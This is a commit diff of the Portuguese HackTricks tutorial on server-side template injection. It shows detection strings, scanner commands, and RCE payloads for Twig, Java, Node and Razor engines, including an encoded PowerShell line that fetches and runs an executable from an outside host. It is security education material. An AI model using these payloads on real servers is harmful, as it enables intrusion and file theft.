mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
bb12f520db
commit
4c8080d118
1 changed files with 34 additions and 22 deletions
|
@ -8,9 +8,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,9 +24,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
Uma injeção de template no lado do servidor ocorre quando um atacante consegue usar a sintaxe nativa do template para injetar uma carga maliciosa em um template, que é então executado no lado do servidor.
|
||||
|
||||
**Motores de template** são projetados para **gerar páginas web** **combinando** templates **fixos** com dados **voláteis**. Ataques de injeção de template no lado do servidor podem ocorrer quando a **entrada do usuário** é concatenada diretamente **em um template**, em vez de ser passada como dados. Isso permite que atacantes **injetem diretivas arbitrárias de template** para manipular o motor de template, muitas vezes possibilitando a eles tomar **controle completo do servidor**.
|
||||
**Motores de template** são projetados para **gerar páginas web** **combinando** templates **fixos** com dados **voláteis**. Ataques de injeção de template no lado do servidor podem ocorrer quando **entrada de usuário** é concatenada diretamente **em um template**, em vez de ser passada como dados. Isso permite que atacantes **injetem diretivas arbitrárias de template** para manipular o motor de template, muitas vezes possibilitando a eles tomar **controle completo do servidor**.
|
||||
|
||||
Um exemplo de código vulnerável é o seguinte:
|
||||
Um exemplo de código vulnerável veja o seguinte:
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```
|
||||
|
@ -55,16 +55,16 @@ ${{7*7}}
|
|||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
**Detectar - Contexto do código**
|
||||
**Detectar - Contexto de código**
|
||||
|
||||
Nestes casos, a **entrada do usuário** está sendo colocada **dentro** de uma **expressão de template**:
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
O acesso à URL que acessa a página pode ser semelhante a: `http://vulnerable-website.com/?greeting=data.username`
|
||||
O acesso à URL que acessa essa página pode ser semelhante a: `http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
Se você **alterar** o parâmetro **`greeting`** por um **valor diferente**, a **resposta não conterá o nome de usuário**, mas se você acessar algo como: `http://vulnerable-website.com/?greeting=data.username}}hello`, então, **a resposta conterá o nome de usuário** (se os caracteres de fechamento da expressão de template forem **`}}`**).\
|
||||
Se um **erro** for gerado durante esses testes, será mais fácil encontrar se o servidor está vulnerável.
|
||||
Se um **erro** for gerado durante esses testes, será mais fácil descobrir que o servidor está vulnerável.
|
||||
|
||||
### Identificar
|
||||
|
||||
|
@ -96,9 +96,9 @@ O primeiro passo após encontrar a injeção de template e identificar o motor d
|
|||
|
||||
**Explorar**
|
||||
|
||||
Assumindo que nenhum exploit se apresentou, o próximo passo é **explorar o ambiente** para descobrir exatamente a que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo motor de template, quanto **objetos específicos da aplicação** passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou de namespace contendo tudo que está no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
|
||||
Assumindo que nenhum exploit se apresentou, o próximo passo é **explorar o ambiente** para descobrir exatamente a que **você tem acesso**. Você pode esperar encontrar tanto **objetos padrão** fornecidos pelo motor de template quanto **objetos específicos da aplicação** passados para o template pelo desenvolvedor. Muitos sistemas de template expõem um objeto 'self' ou namespace contendo tudo que está no escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.
|
||||
|
||||
Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de listas de palavras do Burp Intruder.
|
||||
Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) e a coleção de wordlist do Burp Intruder.
|
||||
|
||||
Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes templates dentro de uma aplicação, portanto, esse processo deve idealmente ser aplicado a cada template distinto individualmente.
|
||||
|
||||
|
@ -115,6 +115,12 @@ um scanner eficiente de SSTI + CSTI que utiliza políglotas inovadores
|
|||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
```
|
||||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||||
```bash
|
||||
python3 sstimap.py -i -l 5
|
||||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||||
```
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
```python
|
||||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
|
@ -209,7 +215,7 @@ A expressão de teste típica para SSTI é `${7*7}`. Esta expressão também fun
|
|||
|
||||
No entanto, como mencionamos anteriormente, expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em um local diferente no template, o Thymeleaf suporta _inserção de expressões_. Para usar esse recurso, você deve colocar uma expressão dentro de `[[...]]` ou `[(...)]` (escolha um ou outro dependendo se você precisa escapar símbolos especiais). Portanto, um payload simples de detecção de SSTI para Thymeleaf seria `[[${7*7}]]`.
|
||||
|
||||
As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string _em tempo real_, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
|
||||
As chances de o payload de detecção acima funcionar são, no entanto, muito baixas. Vulnerabilidades de SSTI geralmente ocorrem quando um template é gerado dinamicamente no código. Por padrão, o Thymeleaf não permite tais templates gerados dinamicamente e todos os templates devem ser criados anteriormente. Portanto, se um desenvolvedor deseja criar um template a partir de uma string _em tempo real_, ele precisaria criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.
|
||||
|
||||
Se olharmos mais a fundo na documentação do motor de template do Thymeleaf, encontraremos um recurso interessante chamado _**pré-processamento de expressões**_. Expressões colocadas entre duplos sublinhados (`__...__`) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:
|
||||
```java
|
||||
|
@ -291,7 +297,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
|||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Versões antigas do Pebble ( < versão 3.0.9):
|
||||
Versão antiga do Pebble ( < versão 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
@ -351,7 +357,7 @@ Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Busca por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/).
|
||||
Procure por "com.hubspot.content.hubl.context.TemplateContextRequest" e descobriu o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -408,7 +414,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) se comunique com a lógica da aplicação (managed beans). O EL é utilizado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection for Java EE (CDI).\
|
||||
EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas web) comunique-se com a lógica da aplicação (managed beans). EL é utilizado por **várias tecnologias JavaEE**, como a tecnologia JavaServer Faces, tecnologia JavaServer Pages (JSP) e Contexts and Dependency Injection para Java EE (CDI).\
|
||||
Confira a seguinte página para aprender mais sobre a **exploração de interpretadores EL**:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
|
@ -488,6 +494,10 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
{{['id']|filter('system')}}
|
||||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||
{{['id',""]|sort('system')}}
|
||||
|
||||
#Hide warnings and errors for automatic exploitation
|
||||
{{["error_reporting", "0"]|sort("ini_set")}}
|
||||
```
|
||||
**Twig - Formato de template**
|
||||
```php
|
||||
|
@ -525,7 +535,7 @@ modelo de página:
|
|||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
layout de template:
|
||||
layout: template de layout
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -612,7 +622,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um motor de templating PHP que não compila, utilizando tags XML para dividir um documento em diferentes partes.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um motor de templating PHP que não compila, utilizando tags XML para dividir um documento em diferentes partes
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -703,7 +713,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
* \{{7\*7\}} = 49
|
||||
* \{{foo\}} = Sem saída
|
||||
* \#{7\*7} = #{7\*7}
|
||||
* \#{7\*7} = \#{7\*7}
|
||||
* \{{console.log(1)\}} = Erro
|
||||
```javascript
|
||||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||||
|
@ -858,7 +868,7 @@ ${x}
|
|||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar uma webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Mais informações**
|
||||
|
||||
|
@ -876,7 +886,7 @@ O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar
|
|||
```
|
||||
**Mais Informações**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
|
@ -899,14 +909,14 @@ Para confirmar que o motor de template usado no backend é Go, você pode usar e
|
|||
|
||||
**Exploração de XSS**
|
||||
|
||||
Se o servidor estiver **usando o pacote text/template**, XSS é muito fácil de ser alcançado **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não acontece com html/template** pois codifica a resposta em HTML: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
Se o servidor estiver **usando o pacote text/template**, XSS é muito fácil de alcançar **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não acontece com html/template** pois codifica a resposta em HTML: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
No entanto, Go permite **DEFINIR** um **template** inteiro e **depois chamá-lo**. O payload seria algo como:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
|
||||
**Exploração de RCE**
|
||||
|
||||
A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam bastante. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor “call”**, o que não é possível com html/template.
|
||||
A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam, e muito. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor “call”**, o que não é o caso com html/template.
|
||||
|
||||
Se você quer encontrar um RCE em Go via SSTI, deve saber que, assim como você pode acessar o objeto fornecido ao template com `{{ . }}`, você também pode **chamar os métodos do objeto**. Então, imagine que o **objeto passado tem um método chamado System** que executa o comando fornecido, você poderia abusar disso com: `{{ .System "ls" }}`\
|
||||
Portanto, você provavelmente **precisará do código-fonte**. Um código-fonte potencial para algo assim seria:
|
||||
|
@ -931,7 +941,7 @@ Confira o restante de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/
|
|||
|
||||
## Ajuda Relacionada
|
||||
|
||||
Se você achar que pode ser útil, leia:
|
||||
Se achar que pode ser útil, leia:
|
||||
|
||||
* [Truques do Flask](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
* [Funções mágicas do Python](broken-reference/)
|
||||
|
@ -940,6 +950,8 @@ Se você achar que pode ser útil, leia:
|
|||
|
||||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||||
|
||||
{% embed url="https://github.com/vladko312/sstimap" %}
|
||||
|
||||
{% embed url="https://github.com/epinna/tplmap" %}
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
|
@ -966,7 +978,7 @@ Se você achar que pode ser útil, leia:
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
Loading…
Reference in a new issue